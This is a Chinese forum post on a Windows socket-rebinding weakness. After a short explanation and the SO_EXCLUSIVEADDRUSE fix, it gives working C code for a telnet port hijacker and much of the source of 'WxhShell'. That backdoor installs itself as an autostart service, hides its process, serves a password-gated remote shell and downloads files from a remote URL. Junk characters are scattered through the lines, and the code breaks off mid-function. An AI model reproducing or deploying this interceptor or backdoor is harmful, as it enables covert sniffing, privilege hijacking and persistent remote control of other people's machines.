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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o~~;I  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X[o+Y@bc  
!0,q[|m  
  saddr.sin_family = AF_INET; Wlhh0uy  
>K9Ia4I,  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fEZuv?@  
<?KPyg2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =7<JD}G  
/y G34) aB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =HCEUB9Fs  
B-MS@ <2  
  这意味着什么?意味着可以进行如下的攻击: ,a{85HLr]  
rkjnw@x\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wk0E7Pr  
!i;6!w  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tn5%zJ#+  
$xWwI( SaB  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eL}w{Hlk T  
CT[9=wV)m%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rtuaU=U  
y(J~:"}7)  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^/ "}_bR  
nqo{]fn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ='h2z"}\Bn  
NfvPE]S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :*}Q/]N  
=x8[%+  
  #include 61S;M8tNv  
  #include Y"mFUW4  
  #include Keh=>K)T  
  #include    >5 -1?vi  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kEDpF26!  
  int main() duG3-E  
  { ..} P$  
  WORD wVersionRequested; y!=,u  
  DWORD ret; 7[1Lh'u  
  WSADATA wsaData; ]I\GnDJ^  
  BOOL val; =P(*j7=  
  SOCKADDR_IN saddr; 9lb?%UFe  
  SOCKADDR_IN scaddr; 1,fR kQ  
  int err; r^~+ <"  
  SOCKET s; >5CK&6  
  SOCKET sc; (03/4*g_s  
  int caddsize; %y RGN  
  HANDLE mt; XRV]u|w=g  
  DWORD tid;   CPOH qK`k  
  wVersionRequested = MAKEWORD( 2, 2 ); Hh% !4_AMw  
  err = WSAStartup( wVersionRequested, &wsaData ); /pj[c;aO  
  if ( err != 0 ) { 3YvKHn|V"  
  printf("error!WSAStartup failed!\n"); ~m6=s~Vn  
  return -1; t1?aw<  
  } Z mJ<h&  
  saddr.sin_family = AF_INET; n~ *|JJ*`  
   nQiZ6[L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?8-Am[xH  
;M3%t=KV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); WWunS|B!  
  saddr.sin_port = htons(23); `dZ|Ko%k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .TGw+E1k  
  { h$02#(RHJ  
  printf("error!socket failed!\n"); )=5 &Q  
  return -1; LCB-ewy#E  
  } \4N8-GwZQ  
  val = TRUE; -uYxc=4Lh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :*Wq%Y=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sM-,95H  
  { s)E  \  
  printf("error!setsockopt failed!\n"); }X)vktE+|  
  return -1; 296}LW  
  } ["3dr@T9Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &&&-P\3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4,)9@-|0R  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 1$&@wG  
L_Ok?9$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4'O,xC  
  { ?9~^QRLT  
  ret=GetLastError(); ?\o~P  
  printf("error!bind failed!\n"); Xq135/d  
  return -1; cwmS4^zt8  
  } ~XOmxz0  
  listen(s,2); v #+ECx  
  while(1) 9+@h2"|N4*  
  { aZmN(AJ8v  
  caddsize = sizeof(scaddr); 8<L{\$3HP|  
  //接受连接请求 L2XhrLK.|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); n\"6ol}>E  
  if(sc!=INVALID_SOCKET) c~ R'`Q  
  { Xd(^7~i  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); XKWq{,Ks  
  if(mt==NULL) Ev7.!  
  { al2lC#Sy  
  printf("Thread Creat Failed!\n"); Y ^+x<  
  break; U,#~9  
  } 2z-Nw <bA  
  } w/6X9d  
  CloseHandle(mt); D4L&6[W  
  } Bv<gVt  
  closesocket(s); ;iKLf~a a  
  WSACleanup(); p{w-  
  return 0; Tdi^P}i_  
  }   :r*hY$v  
  DWORD WINAPI ClientThread(LPVOID lpParam) Fl`U{03  
  { 8US#SI'x  
  SOCKET ss = (SOCKET)lpParam; GLf!i1Z  
  SOCKET sc; -EiTP:A  
  unsigned char buf[4096]; J p?XV<3Z  
  SOCKADDR_IN saddr; h.EI(Ev"GN  
  long num; E{\CE1*  
  DWORD val; $lxpwO  
  DWORD ret; r!Eh}0bL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OijuOLt  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h3@tZL#g  
  saddr.sin_family = AF_INET; ~q ^o|?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @62,.\F  
  saddr.sin_port = htons(23); G Aj%o]}u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Blxa0&3  
  { od)TQSo  
  printf("error!socket failed!\n"); _LaG%* R6  
  return -1; 3x;UAi+&  
  } cUR :a @  
  val = 100; gv`_+E{P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9S%5 Z>  
  { So 1TH%  
  ret = GetLastError(); aj5HtP-  
  return -1; 'gf[Wjb,%  
  } z8X7Y >+SA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oP,*H6)i  
  { n6oOk nCna  
  ret = GetLastError(); \ptO4E  
  return -1; r XJx~ g  
  } _KM? ?&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }B-$}  
  { 30sJ"hF9  
  printf("error!socket connect failed!\n"); QD@O!}; T  
  closesocket(sc); ?\Z pVL<>  
  closesocket(ss); MH.+pqIv^  
  return -1; 6m_mma_,&  
  } aF 2vgE\  
  while(1) lx+;<la  
  { F*KQhH7Gf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  FSMM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Ph=NH8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 l2LQV]l  
  num = recv(ss,buf,4096,0); :Qge1/  
  if(num>0) FOG{dio  
  send(sc,buf,num,0); x$d[Ovw-  
  else if(num==0) \foThLx  
  break; bN_e~z  
  num = recv(sc,buf,4096,0); )k(K/m  
  if(num>0) rCw 4a?YS  
  send(ss,buf,num,0); 6BV 6<PHJ  
  else if(num==0) @\g}I`_M  
  break; FsED9+/m  
  } !/p|~K  
  closesocket(ss); 0Q{lyu  
  closesocket(sc); }h^ fX  
  return 0 ; 1K9.3n   
  } /GgID!8  
<O+GXJ2  
a}@b2Wc*  
========================================================== |?88EG@05  
Ge2Klyi  
下边附上一个代码,,WXhSHELL 0S5xmEzop  
N?qETp-:  
========================================================== _x.2&S89  
*HD(\;i-$  
#include "stdafx.h" M`&t=0D  
-PPwX~;!  
#include <stdio.h> Z,)H f  
#include <string.h> }eLApFHEDg  
#include <windows.h> GKoYT{6  
#include <winsock2.h> 6u"wgX]H  
#include <winsvc.h> 6(QfD](2}  
#include <urlmon.h> p(RF   
wH|%3 @eJ  
#pragma comment (lib, "Ws2_32.lib") cP?GRMX@}  
#pragma comment (lib, "urlmon.lib") y[i}iT/~  
Dl/ C?Fll  
#define MAX_USER   100 // 最大客户端连接数 D/E5&6  
#define BUF_SOCK   200 // sock buffer ?2"g*Bak  
#define KEY_BUFF   255 // 输入 buffer 8xlj,}QO\  
p6j-8ggL  
#define REBOOT     0   // 重启 2 ,nhs,FZ  
#define SHUTDOWN   1   // 关机 &oMEz 0  
uj3`M9  
#define DEF_PORT   5000 // 监听端口 #2^0z`-\_z  
F${sEtH  
#define REG_LEN     16   // 注册表键长度 :gsRJy1  
#define SVC_LEN     80   // NT服务名长度 |mH* I  
ya2sS9^T[  
// 从dll定义API ,WE2.MWR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `/WxEu3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C|]c#X2t3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ajycYk9<m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }uDpf0;^  
f 6I)c$]Q  
// wxhshell配置信息 3Ws(],Q  
struct WSCFG { PY.HZ/#d  
  int ws_port;         // 监听端口 uf?;;wg  
  char ws_passstr[REG_LEN]; // 口令 G `|7NL   
  int ws_autoins;       // 安装标记, 1=yes 0=no __}SHU0R  
  char ws_regname[REG_LEN]; // 注册表键名 $ #!oejLD  
  char ws_svcname[REG_LEN]; // 服务名 gOg7:VPG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]C^ #)7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 CG%bZco((  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mPA)G,^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7FH-l(W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M %,\2!$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 q;9X8 _  
}C @xl9S"  
}; &W>\Vl1  
f hK<P_}  
// default Wxhshell configuration #f(a,,Uu'  
struct WSCFG wscfg={DEF_PORT, "7sv@I_j  
    "xuhuanlingzhe", 9po=[{Bp  
    1, {e&fBX6;  
    "Wxhshell", _gVihu  
    "Wxhshell", R_j.k3r4d  
            "WxhShell Service", [lIX&!T"  
    "Wrsky Windows CmdShell Service", <7y/)b@  
    "Please Input Your Password: ",  !y@\w  
  1, <Ch9"1f3,  
  "http://www.wrsky.com/wxhshell.exe", ;C-ds  
  "Wxhshell.exe" }h1BAKg  
    }; FtJaX])b  
~Y43`@3H:  
// 消息定义模块 |~A*?6:@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; EF&CV{Sw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; iU+SXsXLR4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fm Yx  
char *msg_ws_ext="\n\rExit."; GpPM?  
char *msg_ws_end="\n\rQuit."; /[ m7~B]QE  
char *msg_ws_boot="\n\rReboot..."; iJOoO"Ai  
char *msg_ws_poff="\n\rShutdown..."; xlZh(pf  
char *msg_ws_down="\n\rSave to "; yPmo1|'X>d  
3F, M{'q  
char *msg_ws_err="\n\rErr!"; Ju>QQOxi|  
char *msg_ws_ok="\n\rOK!"; %rB,Gl:)g  
1a9' *[  
char ExeFile[MAX_PATH]; 1!1,{\9%  
int nUser = 0; pOK=o$1V8  
HANDLE handles[MAX_USER]; ;ZB=@@l(  
int OsIsNt; 6Zpa[,gm  
"6]oi*_8  
SERVICE_STATUS       serviceStatus; G739Ne[gL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; G9x l-ag+z  
D*@'%<?  
// 函数声明 @|\;#$?XW3  
int Install(void); O4`.ohAZ  
int Uninstall(void); =9,mt K~  
int DownloadFile(char *sURL, SOCKET wsh); ]+G\1SN~  
int Boot(int flag); Jb{g{a/  
void HideProc(void); #_\**%,<  
int GetOsVer(void); 1]>JMh%X9t  
int Wxhshell(SOCKET wsl); _9D]1f=&  
void TalkWithClient(void *cs); 4r;le5@  
int CmdShell(SOCKET sock); pKXSJ"Xo  
int StartFromService(void); hcU^!mp  
int StartWxhshell(LPSTR lpCmdLine); CXn?~m&K  
EE09 Er %\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >CG;df<~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >#dLT~[\a  
3^Is4H_8  
// 数据结构和表定义 x=0Ak'1M  
SERVICE_TABLE_ENTRY DispatchTable[] = #}.{|'L  
{ R;AcAJ;  
{wscfg.ws_svcname, NTServiceMain}, lYe2;bu  
{NULL, NULL} @}jg5}  
}; yq, qS0Fo  
<.g)?nj1  
// 自我安装 0F uj-q  
int Install(void) 8Ud.t =2  
{ Qv,ORm h5  
  char svExeFile[MAX_PATH]; qKXg'1#E)  
  HKEY key; %dw0\:P?Q  
  strcpy(svExeFile,ExeFile); "/O07l1Q<  
1$))@K-I  
// 如果是win9x系统,修改注册表设为自启动 6jMc|he  
if(!OsIsNt) { (xfy?N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6k')12~'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;t N@  
  RegCloseKey(key); q8_E_s-U,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p8]XNe  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6I~M8Lo ;  
  RegCloseKey(key); NWwKp?  
  return 0; ^Gbcs l~Gj  
    } |@rf#,hTDp  
  } XR=ebl  
}  ]x1ba_  
else { K\}qY dPF  
C^JtJv  
// 如果是NT以上系统,安装为系统服务 U0|wC,7"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WO69Wo\C  
if (schSCManager!=0) M$v\7vBgO!  
{ mr>E'd.'  
  SC_HANDLE schService = CreateService rf/]VAK  
  ( 'D+njxCk.A  
  schSCManager, B*`[8kb,  
  wscfg.ws_svcname, aEUEy:.  
  wscfg.ws_svcdisp, heES [  
  SERVICE_ALL_ACCESS, =J-&usX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1jK2*y  
  SERVICE_AUTO_START, \Pfm>$Ib=  
  SERVICE_ERROR_NORMAL, " u]X/ {L  
  svExeFile, 3DjX0Dx/l  
  NULL, 4d`f?8vS  
  NULL, ktY  
  NULL, c[6<UkH7  
  NULL, z/o&r`no  
  NULL 22d>\u+c  
  ); .$&vSOgd(  
  if (schService!=0) nFwg pT  
  { 6[Mu3.T  
  CloseServiceHandle(schService); AGlFbc(L  
  CloseServiceHandle(schSCManager); UZJs!#P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m 2%  
  strcat(svExeFile,wscfg.ws_svcname); Q9X+H4`}y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { it j&L <e  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); nwJub$5  
  RegCloseKey(key); {- &wV  
  return 0; 93)1  
    } VyIM ,glu  
  } /z1-4:^`A[  
  CloseServiceHandle(schSCManager); *6(/5V  
} jTsQsHq   
} Urm(A9|N  
RLVz"=  
return 1; KjV1->r#  
} +nFC&~q  
fQfd1=4  
// 自我卸载 5'rP-z~ u  
int Uninstall(void) E_xCRfw_i]  
{ AhV V  
  HKEY key; + VhD]!  
N@? z&urQi  
if(!OsIsNt) { R"`<ZY6(Ou  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R4f_Kio  
  RegDeleteValue(key,wscfg.ws_regname); G7#<Jo<8  
  RegCloseKey(key); xCU pMB7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?D M!=.]  
  RegDeleteValue(key,wscfg.ws_regname); |dqAT.  
  RegCloseKey(key); K}dvXO@=|c  
  return 0; C%P"\>5@  
  } x*_'uPo S  
} k+u L^teyS  
} (ap,3$ hS  
else { Vg`32nRN  
yD^Q&1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); a [BIY&/Q  
if (schSCManager!=0) QlnI&o  
{ $=!_ !tr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #"JtH"pF  
  if (schService!=0) !y;xt?  
  { vcp[$-$QGJ  
  if(DeleteService(schService)!=0) { %c&< {D}r  
  CloseServiceHandle(schService); 'oM&Ar$  
  CloseServiceHandle(schSCManager); /pgn?e'lk  
  return 0; 8{%[|Ye  
  } ?h-:,icR  
  CloseServiceHandle(schService); $2v{4WP7G  
  } ftqeiZ 2  
  CloseServiceHandle(schSCManager); fXx !_Z  
} 2$> <rB  
} tb'O:/  
Z-'xJq  
return 1; "&TN}SBW  
} wn>?r ?KIB  
{dNWQE*\c  
// 从指定url下载文件 )WF*fcx{  
int DownloadFile(char *sURL, SOCKET wsh) KZsJ_t++!W  
{ Ei\tn`I&  
  HRESULT hr; ^s3SzB@  
char seps[]= "/"; L%[b6<  
char *token; &_<!zJ;Hn  
char *file; ^14a[ta/'  
char myURL[MAX_PATH]; Z'\{hL S  
char myFILE[MAX_PATH]; `< cn  
5l /EZ\q  
strcpy(myURL,sURL); w;DRC5V>  
  token=strtok(myURL,seps); }Lb[`H,}A  
  while(token!=NULL) ~i9'9PHX@  
  { "D/\&1.&  
    file=token; ~`CWpc:  
  token=strtok(NULL,seps); {b]V e/\  
  } A:Kit_A  
8s<t* pI2  
GetCurrentDirectory(MAX_PATH,myFILE); QR{pph*zn-  
strcat(myFILE, "\\"); p V`)  
strcat(myFILE, file); %b3s|o3An  
  send(wsh,myFILE,strlen(myFILE),0); JQ"w{O  
send(wsh,"...",3,0); L=-v>YL+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); KFn[  
  if(hr==S_OK) drf?7%v  
return 0;  jf~-;2  
else @6z]Xb  
return 1; 6 #Afj0  
{);<2]o| 6  
} ~e<h2/Xc  
}>~]q)]  
// 系统电源模块 :x@j)&  
int Boot(int flag) ZE0D=  
{ V.kRV{43  
  HANDLE hToken; rh 7%<xb>  
  TOKEN_PRIVILEGES tkp; & 0%x6vea  
LIMPWw g  
  if(OsIsNt) { ^Y+P(o$HM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vvcA-k?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IO]%AL(.;  
    tkp.PrivilegeCount = 1; +OX:T) 4h6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z!:%Hbh=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L{AfrgN  
if(flag==REBOOT) { _';oT*#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Zdll}nO"E  
  return 0; -_"6jU  
} :]k`;;vh  
else { gKWsmx!["  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :PF6xL&  
  return 0; 0l>4Umxr{J  
} -k"5GUc|  
  } >]S-a-|Bp  
  else { _ -C{:rV  
if(flag==REBOOT) { Jde@T h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K&>+<bJ_  
  return 0; }  cQ` L  
} c*HWH$kB  
else { l5esx#([*R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) zY&/^^y  
  return 0; qA5PIEvdq  
} Ij9ezNZT=  
} Tg|/UUn  
a\?-uJ+  
return 1; 4-veO3&.h  
} zKX|m-i|2  
!;s5\91  
// win9x进程隐藏模块 t*{BN>B  
void HideProc(void) r*XEne  
{ ~_Q1+ax}  
aX{i   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g6~B|?!  
  if ( hKernel != NULL ) 'n4$dv% q  
  { -"MB(`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }0z]sYI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t }q \.  
    FreeLibrary(hKernel); AI\|8[kf0  
  } we;QrS(Hi  
:o+&>z  
return; 19.oW49Sw  
} ;ro%Wjg`}  
?kKr/f4N  
// 获取操作系统版本 U>=& 2Z2?  
int GetOsVer(void) Z_}[hz$  
{ UUaC@Rs2  
  OSVERSIONINFO winfo; `M.\D  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t,vj)|:  
  GetVersionEx(&winfo); S1D=' k]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <9jN4hV  
  return 1; 1xzOD@=dI  
  else n/jZi54gO  
  return 0; yITL;dBy  
} U9eb&nd  
aokV'6  
// 客户端句柄模块 `37$YdX  
int Wxhshell(SOCKET wsl) CFyu9Al  
{ akB+4?+s)  
  SOCKET wsh; WG=~GDS>  
  struct sockaddr_in client; Vp j[)W%L  
  DWORD myID; <Gkmk?x`A  
z)&ZoSXWc  
  while(nUser<MAX_USER) ^7>k:|7-t  
{ G~N$bF^R)  
  int nSize=sizeof(client); *N!>c&8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?3|jB?:k  
  if(wsh==INVALID_SOCKET) return 1; *Y/}E X! F  
1]% ]"JbV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (Ceq@eAlT  
if(handles[nUser]==0) rVF7!|&  
  closesocket(wsh);  %kSpMj|  
else ipdGAG  
  nUser++; C|hD^m  
  } L92vb zP  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D3xyJ  
Q@w=Jt<  
  return 0; Tj v)jD  
} E\lel4ai  
b]cnTR2E  
// 关闭 socket Z/~7N9?m(  
void CloseIt(SOCKET wsh) cH>3|B*y  
{ YR/%0^M'0  
closesocket(wsh); 6h%_\I.Z[[  
nUser--; +o[- ED  
ExitThread(0); Bq4^nDK  
} g886RhCe  
I("lGY  
// 客户端请求句柄 g ;To}0H  
void TalkWithClient(void *cs) Kdr7JQYzuz  
{ Ia!B8$$'RP  
ywj'S7~A  
  SOCKET wsh=(SOCKET)cs; \mGo k<b4  
  char pwd[SVC_LEN]; .qAlPe L:  
  char cmd[KEY_BUFF]; $G}!eV 6  
char chr[1]; :7Jpt3  
int i,j; 0V[`zOO(o  
#$;i 4a  
  while (nUser < MAX_USER) { ll8Zo+-[  
E@%9u#  
if(wscfg.ws_passstr) { Tw+V$:$$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nXFPoR)T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (`me}8  
  //ZeroMemory(pwd,KEY_BUFF); xq-TT2}<L  
      i=0; pf[m"t6G~  
  while(i<SVC_LEN) { sm9/sX!  
u-%|ZSg  
  // 设置超时 !Un &OAy.!  
  fd_set FdRead; _Z{EO|L  
  struct timeval TimeOut; P'Diie  
  FD_ZERO(&FdRead); 8k|&&3_[?  
  FD_SET(wsh,&FdRead); [,86||^  
  TimeOut.tv_sec=8; dDxb}d x8  
  TimeOut.tv_usec=0; 5g\>x;cc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @4xV3Xkf&C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .bloaeu-  
:Cdqj0O3u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  J*FUJT  
  pwd=chr[0]; S<nf"oy_K  
  if(chr[0]==0xd || chr[0]==0xa) { UZJ<|[  
  pwd=0; +pG[ [}/  
  break; v_L2>Pa.  
  } K2 b\9}  
  i++; Uuq*;L  
    } On*pI37(\  
kX)QHNzP  
  // 如果是非法用户,关闭 socket .mwB'Ll  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +]dh`8*8>1  
} H&_drxUq;L  
G%FLt[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); poU1Q#+4p*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V''?kVJ  
DqN<bu2  
while(1) { " .<>(bE  
s=[T,:Z  
  ZeroMemory(cmd,KEY_BUFF); ^sqTgrG  
AJ"a  
      // 自动支持客户端 telnet标准   %ZbdWHO#  
  j=0; ,:=g}i  
  while(j<KEY_BUFF) { *-\qO.4\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3$f+3/l  
  cmd[j]=chr[0]; $rV4JROb  
  if(chr[0]==0xa || chr[0]==0xd) { pr?k~Bn  
  cmd[j]=0; ;]\>jC  
  break; $/#F9>eZ  
  } 2m{d>  
  j++; -50Qy[0."  
    } sEzl4I  
k;V (rf`  
  // 下载文件 )1, U~+JFU  
  if(strstr(cmd,"http://")) { a>8&B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6QM$aLLP?  
  if(DownloadFile(cmd,wsh)) dng^#|X)?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >i!y[F  
  else v9"|VhZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PP&9ORG  
  } [x8_ax} w  
  else { ,Z$!:U  
Y5z5LG4  
    switch(cmd[0]) { |A,<m#C  
  %n@ ^$&,&;  
  // 帮助 Y?#aUQc  
  case '?': { vTsMq>%,<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ou7nk:I@  
    break; J?"v;.K|hU  
  } X+[h]A  
  // 安装 ^d@ME<mb  
  case 'i': { ifI0s)Pn  
    if(Install()) FFq8LM8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S8k<}5  
    else 9 .18E(-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &N.]8x5A  
    break; 7Q0vwKC8>  
    } w`I+ 4&/h  
  // 卸载 A{%LL r:  
  case 'r': { a&Z;$  
    if(Uninstall()) Bg.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oj8xc!d'  
    else Dp-j(F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q#PMQR"C  
    break; X 4CiVV  
    } j.kv!;Rj=  
  // 显示 wxhshell 所在路径 nq qqP  
  case 'p': { k7kPeq  
    char svExeFile[MAX_PATH]; }uiD8b{I  
    strcpy(svExeFile,"\n\r"); au#/Q  
      strcat(svExeFile,ExeFile); wK!7mZ  
        send(wsh,svExeFile,strlen(svExeFile),0); h!J|4Q a  
    break; P!u0_6  
    } g&r3 ;  
  // 重启 K^e4w`F|  
  case 'b': { ~FnuO!C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $EG9V++b3  
    if(Boot(REBOOT)) 9_x rw:4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:mm<4  
    else { R5N~%Dg)3  
    closesocket(wsh); ^Eif~v  
    ExitThread(0); te;VGpv.  
    } :_[pZ;-@  
    break; y*e({fio_  
    } U etI 4`  
  // 关机 )nlFyWXh.  
